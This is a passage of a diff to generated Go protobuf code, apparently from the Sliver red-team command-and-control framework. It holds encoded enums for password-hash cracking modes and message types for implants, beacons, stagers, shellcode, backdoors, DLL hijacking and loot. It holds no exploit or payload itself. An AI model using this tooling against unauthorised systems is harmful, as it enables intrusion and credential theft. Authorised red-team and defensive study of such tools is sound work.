0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, + 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, + 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, + 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, + 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, + 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, + 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, + 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, + 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, + 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, + 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, + 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, + 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, + 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, + 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, + 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, + 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, + 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, + 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, + 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, + 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, + 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, + 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, + 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, + 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, + 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, + 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, + 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, + 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, + 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, + 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, + 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, + 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, + 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, + 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, + 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, + 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, + 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, + 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, + 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, + 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, + 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, + 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, + 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, + 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, + 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, + 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, + 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, + 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, + 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, + 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, + 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, + 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, + 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, + 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, + 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, + 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, + 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, + 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, + 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, + 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, + 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, + 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, + 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, + 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, + 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, + 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, + 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, + 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, + 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, + 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, + 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, + 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, + 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, + 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, + 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, + 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, + 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, + 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, + 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, + 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, + 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, + 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, + 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, + 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, + 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, + 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, + 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, + 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, + 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, + 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, + 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, + 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, + 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, + 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, + 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, + 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, + 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, + 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, + 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, + 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, + 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, + 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, + 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10958,7 +11240,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 12) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 111) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 114) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -10974,219 +11256,226 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (CrackFileType)(0), // 11: clientpb.CrackFileType (*Version)(nil), // 12: clientpb.Version (*ClientLogData)(nil), // 13: clientpb.ClientLogData - (*Session)(nil), // 14: clientpb.Session - (*Beacon)(nil), // 15: clientpb.Beacon - (*Beacons)(nil), // 16: clientpb.Beacons - (*BeaconTask)(nil), // 17: clientpb.BeaconTask - (*BeaconTasks)(nil), // 18: clientpb.BeaconTasks - (*ImplantC2)(nil), // 19: clientpb.ImplantC2 - (*ImplantConfig)(nil), // 20: clientpb.ImplantConfig - (*TrafficEncoder)(nil), // 21: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 22: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 23: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 24: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 25: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 26: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 27: clientpb.ImplantBuilds - (*CompilerTarget)(nil), // 28: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 29: clientpb.CrossCompiler - (*Compiler)(nil), // 30: clientpb.Compiler - (*DeleteReq)(nil), // 31: clientpb.DeleteReq - (*DNSCanary)(nil), // 32: clientpb.DNSCanary - (*Canaries)(nil), // 33: clientpb.Canaries - (*UniqueWGIP)(nil), // 34: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 35: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 36: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 37: clientpb.RegenerateReq - (*Job)(nil), // 38: clientpb.Job - (*Jobs)(nil), // 39: clientpb.Jobs - (*KillJobReq)(nil), // 40: clientpb.KillJobReq - (*KillJob)(nil), // 41: clientpb.KillJob - (*MTLSListenerReq)(nil), // 42: clientpb.MTLSListenerReq - (*MTLSListener)(nil), // 43: clientpb.MTLSListener - (*WGListenerReq)(nil), // 44: clientpb.WGListenerReq - (*WGListener)(nil), // 45: clientpb.WGListener - (*DNSListenerReq)(nil), // 46: clientpb.DNSListenerReq - (*DNSListener)(nil), // 47: clientpb.DNSListener - (*HTTPListenerReq)(nil), // 48: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 49: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 50: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 51: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 52: clientpb.TCPPivot - (*HTTPListener)(nil), // 53: clientpb.HTTPListener - (*Sessions)(nil), // 54: clientpb.Sessions - (*RenameReq)(nil), // 55: clientpb.RenameReq - (*GenerateReq)(nil), // 56: clientpb.GenerateReq - (*Generate)(nil), // 57: clientpb.Generate - (*MSFReq)(nil), // 58: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 59: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 60: clientpb.StagerListenerReq - (*StagerListener)(nil), // 61: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 62: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 63: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 64: clientpb.MsfStagerReq - (*MsfStager)(nil), // 65: clientpb.MsfStager - (*GetSystemReq)(nil), // 66: clientpb.GetSystemReq - (*MigrateReq)(nil), // 67: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 68: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 69: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 70: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 71: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 72: clientpb.PivotGraph - (*Client)(nil), // 73: clientpb.Client - (*Event)(nil), // 74: clientpb.Event - (*Operator)(nil), // 75: clientpb.Operator - (*WebContent)(nil), // 76: clientpb.WebContent - (*WebsiteAddContent)(nil), // 77: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 78: clientpb.WebsiteRemoveContent - (*Website)(nil), // 79: clientpb.Website - (*Websites)(nil), // 80: clientpb.Websites - (*WGClientConfig)(nil), // 81: clientpb.WGClientConfig - (*Loot)(nil), // 82: clientpb.Loot - (*AllLoot)(nil), // 83: clientpb.AllLoot - (*IOC)(nil), // 84: clientpb.IOC - (*ExtensionData)(nil), // 85: clientpb.ExtensionData - (*Host)(nil), // 86: clientpb.Host - (*AllHosts)(nil), // 87: clientpb.AllHosts - (*DllHijackReq)(nil), // 88: clientpb.DllHijackReq - (*DllHijack)(nil), // 89: clientpb.DllHijack - (*BackdoorReq)(nil), // 90: clientpb.BackdoorReq - (*Backdoor)(nil), // 91: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 92: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 93: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 94: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 95: clientpb.ExternalGenerateReq - (*Builders)(nil), // 96: clientpb.Builders - (*Builder)(nil), // 97: clientpb.Builder - (*Credential)(nil), // 98: clientpb.Credential - (*Credentials)(nil), // 99: clientpb.Credentials - (*Crackstations)(nil), // 100: clientpb.Crackstations - (*CrackstationStatus)(nil), // 101: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 102: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 103: clientpb.CrackBenchmark - (*CrackTask)(nil), // 104: clientpb.CrackTask - (*Crackstation)(nil), // 105: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 106: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 107: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 108: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 109: clientpb.CrackCommand - (*CrackConfig)(nil), // 110: clientpb.CrackConfig - (*CrackFiles)(nil), // 111: clientpb.CrackFiles - (*CrackFile)(nil), // 112: clientpb.CrackFile - (*CrackFileChunk)(nil), // 113: clientpb.CrackFileChunk - nil, // 114: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 115: clientpb.ImplantBuilds.ConfigsEntry - nil, // 116: clientpb.WebsiteAddContent.ContentsEntry - nil, // 117: clientpb.Website.ContentsEntry - nil, // 118: clientpb.Host.ExtensionDataEntry - nil, // 119: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 120: clientpb.CrackSyncStatus.ProgressEntry - nil, // 121: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 122: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 123: commonpb.File - (*commonpb.Request)(nil), // 124: commonpb.Request - (*commonpb.Response)(nil), // 125: commonpb.Response + (*ImplantCommand)(nil), // 14: clientpb.ImplantCommand + (*HistoryRequest)(nil), // 15: clientpb.HistoryRequest + (*History)(nil), // 16: clientpb.History + (*Session)(nil), // 17: clientpb.Session + (*Beacon)(nil), // 18: clientpb.Beacon + (*Beacons)(nil), // 19: clientpb.Beacons + (*BeaconTask)(nil), // 20: clientpb.BeaconTask + (*BeaconTasks)(nil), // 21: clientpb.BeaconTasks + (*ImplantC2)(nil), // 22: clientpb.ImplantC2 + (*ImplantConfig)(nil), // 23: clientpb.ImplantConfig + (*TrafficEncoder)(nil), // 24: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 25: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 26: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 27: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 28: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 29: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 30: clientpb.ImplantBuilds + (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler + (*Compiler)(nil), // 33: clientpb.Compiler + (*DeleteReq)(nil), // 34: clientpb.DeleteReq + (*DNSCanary)(nil), // 35: clientpb.DNSCanary + (*Canaries)(nil), // 36: clientpb.Canaries + (*UniqueWGIP)(nil), // 